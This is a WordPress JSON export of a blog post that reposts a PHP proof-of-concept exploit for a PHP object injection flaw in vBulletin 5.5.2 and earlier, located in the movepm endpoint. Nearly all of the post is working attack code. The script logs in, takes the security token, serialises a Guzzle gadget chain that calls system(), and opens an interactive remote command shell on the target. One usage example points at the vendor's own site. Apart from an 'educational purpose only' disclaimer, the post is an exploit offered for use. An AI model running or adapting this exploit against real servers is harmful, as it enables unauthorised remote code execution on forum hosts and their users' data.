{"id":34148,"date":"2022-11-28T19:29:51","date_gmt":"2022-11-28T16:29:51","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/170040\/vbulletin552-exec.txt"},"modified":"2022-11-30T08:54:17","modified_gmt":"2022-11-30T05:24:17","slug":"vbulletin-5-5-2-php-object-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/vbulletin-5-5-2-php-object-injection\/","title":{"rendered":"vBulletin 5.5.2 PHP Object Injection"},"content":{"rendered":"<p>&lt;?php<\/p>\n<p>\/*<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\nvBulletin &lt;= 5.5.2 (movepm) PHP Object Injection Vulnerability<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>author&#8230;&#8230;&#8230;&#8230;..: Egidio Romano aka EgiX<br \/>\nmail&#8230;&#8230;&#8230;&#8230;&#8230;.: n0b0d13s[at]gmail[dot]com<br \/>\nsoftware link&#8230;&#8230;.: https:\/\/www.vbulletin.com<\/p>\n<p>+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+<br \/>\n| This proof of concept code was written for educational purpose only. |<br \/>\n| Use it at your own risk. Author will be not responsible for any damage. |<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+<\/p>\n[-] Vulnerability Description:<\/p>\n<p>User input passed through the &#8220;messageids&#8221; request parameter to \/ajax\/api\/vb4_private\/movepm is<br \/>\nnot properly sanitized before being used in a call to the unserialize() PHP function. This can<br \/>\nbe exploited by malicious users to inject arbitrary PHP objects into the application scope,<br \/>\nallowing them to carry out a variety of attacks, such as executing arbitrary PHP code.<\/p>\n[-] Technical writeup:<\/p>\n<p>http:\/\/karmainsecurity.com\/exploiting-an-nday-vbulletin-php-object-injection<br \/>\n*\/<\/p>\n<p>set_time_limit(0);<br \/>\nerror_reporting(E_ERROR);<\/p>\n<p>if (!extension_loaded(&#8220;curl&#8221;)) die(&#8220;[+] cURL extension required!\\n&#8221;);<\/p>\n<p>print &#8220;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+&#8221;;<br \/>\nprint &#8220;\\n| vBulletin &lt;= 5.5.2 (movepm) PHP Object Injection Exploit by EgiX |&#8221;;<br \/>\nprint &#8220;\\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+\\n&#8221;;<\/p>\n<p>if ($argc != 4)<br \/>\n{<br \/>\nprint &#8220;\\nUsage&#8230;&#8230;: php $argv[0] &lt;URL&gt; &lt;Username&gt; &lt;Password&gt;\\n&#8221;;<br \/>\nprint &#8220;\\nExample&#8230;.: php $argv[0] http:\/\/localhost\/vb\/ user passwd&#8221;;<br \/>\nprint &#8220;\\nExample&#8230;.: php $argv[0] https:\/\/vbulletin.com\/ evil hacker\\n\\n&#8221;;<br \/>\ndie();<br \/>\n}<\/p>\n<p>class googlelogin_vendor_autoload {} \/\/ fake class to include the autoloader<\/p>\n<p>class GuzzleHttp_HandlerStack<br \/>\n{<br \/>\nprivate $handler, $stack;<\/p>\n<p>function __construct($cmd)<br \/>\n{<br \/>\n$this-&gt;stack = [[&#8220;system&#8221;]]; \/\/ the callback we want to execute<br \/>\n$this-&gt;handler = $cmd; \/\/ argument for the callback<br \/>\n}<br \/>\n}<\/p>\n<p>class GuzzleHttp_Psr7_FnStream<br \/>\n{<br \/>\nfunction __construct($callback)<br \/>\n{<br \/>\n$this-&gt;_fn_close = $callback;<br \/>\n}<br \/>\n}<\/p>\n<p>function make_popchain($cmd)<br \/>\n{<br \/>\n$pop = new GuzzleHttp_HandlerStack($cmd);<br \/>\n$pop = new GuzzleHttp_Psr7_FnStream([$pop, &#8216;resolve&#8217;]);<\/p>\n<p>$chain = serialize([new googlelogin_vendor_autoload, $pop]);<\/p>\n<p>$chain = str_replace([&#8216;s:&#8217;, chr(0)], [&#8216;S:&#8217;, &#8216;\\00&#8217;], $chain);<br \/>\n$chain = str_replace(&#8216;GuzzleHttp_HandlerStack&#8217;, &#8216;GuzzleHttp\\HandlerStack&#8217;, $chain);<br \/>\n$chain = str_replace(&#8216;GuzzleHttp_Psr7_FnStream&#8217;, &#8216;GuzzleHttp\\Psr7\\FnStream&#8217;, $chain);<br \/>\n$chain = str_replace(&#8216;0GuzzleHttp\\HandlerStack&#8217;, &#8216;0GuzzleHttp\\5CHandlerStack&#8217;, $chain);<\/p>\n<p>return $chain;<br \/>\n}<\/p>\n<p>list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];<\/p>\n<p>$ch = curl_init();<\/p>\n<p>curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);<br \/>\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br \/>\ncurl_setopt($ch, CURLOPT_HEADER, true);<\/p>\n<p>print &#8220;[+] Logging in with username &#8216;{$user}&#8217; and password &#8216;{$pass}&#8217;\\n&#8221;;<\/p>\n<p>curl_setopt($ch, CURLOPT_URL, $url);<\/p>\n<p>if (!preg_match(&#8220;\/Cookie: .*sessionhash=[^;]+\/&#8221;, curl_exec($ch), $sid)) die(&#8220;[+] Session ID not found!\\n&#8221;);<\/p>\n<p>curl_setopt($ch, CURLOPT_URL, &#8220;{$url}?routestring=auth\/login&#8221;);<br \/>\ncurl_setopt($ch, CURLOPT_HTTPHEADER, $sid);<br \/>\ncurl_setopt($ch, CURLOPT_POSTFIELDS, &#8220;username={$user}&amp;password={$pass}&#8221;);<\/p>\n<p>if (!preg_match(&#8220;\/Cookie: .*sessionhash=[^;]+\/&#8221;, curl_exec($ch), $sid)) die(&#8220;[+] Login failed!\\n&#8221;);<\/p>\n<p>print &#8220;[+] Logged-in! Retrieving security token\\n&#8221;;<\/p>\n<p>curl_setopt($ch, CURLOPT_URL, $url);<br \/>\ncurl_setopt($ch, CURLOPT_POST, false);<br \/>\ncurl_setopt($ch, CURLOPT_HEADER, false);<br \/>\ncurl_setopt($ch, CURLOPT_HTTPHEADER, $sid);<\/p>\n<p>if (!preg_match(&#8216;\/token&#8221;: &#8220;([^&#8221;]+)&#8221;\/&#8217;, curl_exec($ch), $token)) die(&#8220;[+] Security token not found!\\n&#8221;);<\/p>\n<p>$params = [&#8220;routestring&#8221; =&gt; &#8220;ajax\/api\/vb4_private\/movepm&#8221;,<br \/>\n&#8220;securitytoken&#8221; =&gt; $token[1],<br \/>\n&#8220;folderid&#8221; =&gt; 1];<\/p>\n<p>print &#8220;[+] Launching shell\\n&#8221;;<\/p>\n<p>while(1)<br \/>\n{<br \/>\nprint &#8220;\\nvb-shell# &#8220;;<br \/>\nif (($cmd = trim(fgets(STDIN))) == &#8220;exit&#8221;) break;<br \/>\n$params[&#8220;messageids&#8221;] = make_popchain($cmd);<br \/>\ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));<br \/>\npreg_match(&#8216;\/(.*){&#8220;response&#8221;:\/s&#8217;, curl_exec($ch), $m) ? print $m[1] : die(&#8220;\\n[+] Exploit failed!\\n&#8221;);<br \/>\n}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&lt;?php \/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; vBulletin &lt;= 5.5.2 (movepm) PHP Object Injection Vulnerability &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; author&#8230;&#8230;&#8230;&#8230;..: Egidio Romano aka EgiX mail&#8230;&#8230;&#8230;&#8230;&#8230;.: n0b0d13s[at]gmail[dot]com software link&#8230;&#8230;.: https:\/\/www.vbulletin.com +&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+ [-] Vulnerability &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-34148","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34148","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=34148"}],"version-history":[{"count":2,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34148\/revisions"}],"predecessor-version":[{"id":34228,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34148\/revisions\/34228"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=34148"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=34148"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=34148"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}